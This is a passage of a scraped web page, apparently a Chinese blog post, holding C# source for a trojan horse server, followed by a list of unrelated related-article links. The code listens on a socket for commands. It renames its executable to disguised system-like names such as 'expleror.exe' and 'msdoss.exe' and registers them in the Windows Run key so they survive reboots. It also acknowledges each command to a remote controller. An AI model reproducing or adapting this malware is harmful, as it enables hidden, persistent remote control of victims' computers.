key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run",true);
key1.SetValue("msdoss","c://winnt//system32//msdoss.exe");

key1.Close();

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
key2.SetValue("msdoss","c://winnt//system32//msdoss.exe");
key2.Close();

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}
//|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||

//_____________________________________________________________________

if(ss=="mw0100")
{
try{File.Move("c://winnt//system//expleror.exe","d://winnt//system32//microsoftt.exe");}
catch{}

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run",true);
key1.SetValue("microsoftt","d://winnt//system32//microsoftt.exe");

key1.Close();

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
key2.SetValue("microsoftt","d://winnt//system32//microsoftt.exe");
key2.Close();

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}
//______________________________________________________________________

//=======================================================================
if(ss=="mw0010")
{
try{File.Move("c://winnt//system32//msdoss.exe","c://winnt//system//expleror.exe");}
catch{}

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run",true);
key1.SetValue("expleror","c://winnt//system//expleror.exe");

key1.Close();

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
key2.SetValue("expleror","c://winnt//system//expleror");
key2.Close();

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}

//===================================================================
//*******************************************************************
if(ss=="mw0001")
{
try{File.Move("d://winnt//system32//microsoftt.exe","c://winnt//system//expleror.exe");}
catch{}

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run",true);
key1.SetValue("expleror","c://winnt//system//expleror.exe");

key1.Close();

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
key2.SetValue("expleror","c://winnt//system//expleror");
key2.Close();

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}

//*************************************************************************

//##################################以上是改变位置##########################
//··················以下是卸载木马·················
if(ss=="xz0000")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run",true);
try{key1.DeleteValue("expleror");}
catch{}
try{key1.DeleteValue("msdoss");}
catch{}
try{key1.DeleteValue("microsoftt");}
catch{}

key1.Close();

}
catch{}

string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}

//··················以上是卸载木马·················

}//socket

//
// TODO: Add any constructor code after InitializeComponent call
//
}//targett

/// <summary>
/// 清理所有正在使用的资源。
/// </summary>
protected override void Dispose( bool disposing )
{
if( disposing )
{
if (components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}

#region Windows Form Designer generated code
/// <summary>
/// 设计器支持所需的方法 - 不要使用代码编辑器修改
/// 此方法的内容。
/// </summary>
private void InitializeComponent()
{
//
// Form1
//
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(292, 266);
this.Name = "Form1";
this.Text = "Form1";
this.Load += new System.EventHandler(this.Form1_Load);

}
#endregion

/// <summary>
/// 应用程序的主入口点。
/// </summary>
[STAThread]
static void Main()
{
Application.Run(new Form1());
}

private void Form1_Load(object sender, System.EventArgs e)
{

}
}
}

特洛伊木马服务器源代码(C#)相关推荐

  1. 特洛伊木马服务器源代码

    特洛伊木马服务器源代码(C#) 作者: wgscd 引自: http://www.putfly.com/show.aspx?id=229&cid=13 http://www.putfly.co ...

  2. 远程PLC监控调试,PLC通用中转服务器,多客户端tcp中转服务器源代码

    远程PLC监控调试,PLC通用中转服务器,多客户端tcp中转服务器源代码,socket多线程并发通讯,对接多路plc串口WIFI模块实现远程调试程序.支持各种串口服务器以及tcp以太网转发器硬件. 编 ...

  3. 远程PLC监控调试,PLC通用中转服务器,多客户端tcp中转 服务器源代码,socket多线程并发通讯

    远程PLC监控调试,PLC通用中转服务器,多客户端tcp中转 服务器源代码,socket多线程并发通讯, 对接多路plc串口WIFI模块实现远程调试程序.支持各种串口服务器以及tcp以太网转发器硬件.

  4. 远程PLC监控调试,PLC通用中转服务器,多客户端tcp中转服务器源代码,socket多线程并发通讯,对接多路plc串口WIFI模块实现远程调试程序

    远程PLC监控调试,PLC通用中转服务器,多客户端tcp中转服务器源代码,socket多线程并发通讯,对接多路plc串口WIFI模块实现远程调试程序. 支持各种串口服务器以及tcp以太网转发器硬件. ...

  5. 改装版 hiwifi 1S 路由器 带wifidog客户端 带wifidog本地认证服务器源代码

    改装版 hiwifi 1S 路由器 带wifidog客户端 带wifidog本地认证服务器源代码! 有兴趣者可联系我哦 18688380350   或者QQ:2249287270

  6. FileZilla FTP服务器源代码分析

    FileZilla是开源的FTP服务器,用C++写的,通过分析它的源代码,可以掌握C++网络编程以及高并发服务器的设计. FileZilla 是http://sourceforge.net上的项 目, ...

  7. kangle源码idc下载_kangle web服务器源代码

    kangle web服务器 是一款跨平台.功能强大.安全稳定.易操作的高性能web服务器和反向代 理服务器软件.简称:kangle kangle采用基于事件驱动(epoll等)加非阻塞socket及异 ...

  8. 易语言 html 服务器,易语言模拟网页Web服务器源代码

    .版本 2 .支持库 internet .子程序 __启动窗口_创建完毕 ' 实在是无聊,做了一个WEB服务器,可以把对方的网站拿回来模拟 ' 程序运行后在IE地址栏里面打 可以发现网站 ' 如果你简 ...

  9. 宝塔服务器源代码修改记录,宝塔BT面板修改相关记录,所有插件免费用

    可对宝塔面板的python文件做简单修改实现所有插件免费适用. 适用版本:6.8.6~6.8.9可用 修改文件:/www/server/panel/class/panelPlugin.py 搜索位置: ...

最新文章

  1. zoj3988 二分图匹配
  2. 往有序链表的插入元素使原链表依旧有序
  3. docker --- 将已有的项目发布到云端
  4. b样条和三次样条_样条曲线
  5. Java 8 实战学习笔记
  6. UIKit框架之NSObject
  7. paip. C#.NET循环获取不同随机数的方法根据时间
  8. 华为最新解bl解锁码计算工具_黔隆科技刷机教程红米note4X低配版忘记密码刷机解锁降级救砖解屏幕锁账户锁教程...
  9. 常用电子元器件之一:开关
  10. php 公众号微信支付流程图,微信公众号支付流程
  11. Java学习笔记day5_数组
  12. Spring Cloud的基本认识和使用Spring Cloud的基本教程(山东数漫江湖)
  13. 有一种感觉叫清风细雨
  14. NUS-WIDE-10K数据集制作
  15. 创始人退休后的Python,起飞还是没落?
  16. [译]用C#创建一个屏幕保护程序
  17. Microchip中文资料下载
  18. s6和thinkpad x1音频对比 (APX 音频分析仪)
  19. 【转载】语义分割综述2020.01
  20. OVATION系统数据服务器,OVATION系统(电厂DCS系统培训课件)一.ppt

热门文章

  1. springboot,vue电影院售票系统
  2. 数据库实验-创建创建学生表
  3. 运维人生攻城狮的第一次搬家
  4. Oracle的select语句进阶和函数
  5. 游戏艺术设计学什么,就业前景如何
  6. @pip pip配置国内的豆瓣源--一次配置永久使用
  7. 转:利用python调用谷歌翻译API
  8. CSS | DIV 水平和竖直方向居中
  9. 谈判中,如何快速建立和谐的关系
  10. Java毕设 SSM公寓宿舍后勤管理系统(含源码+论文)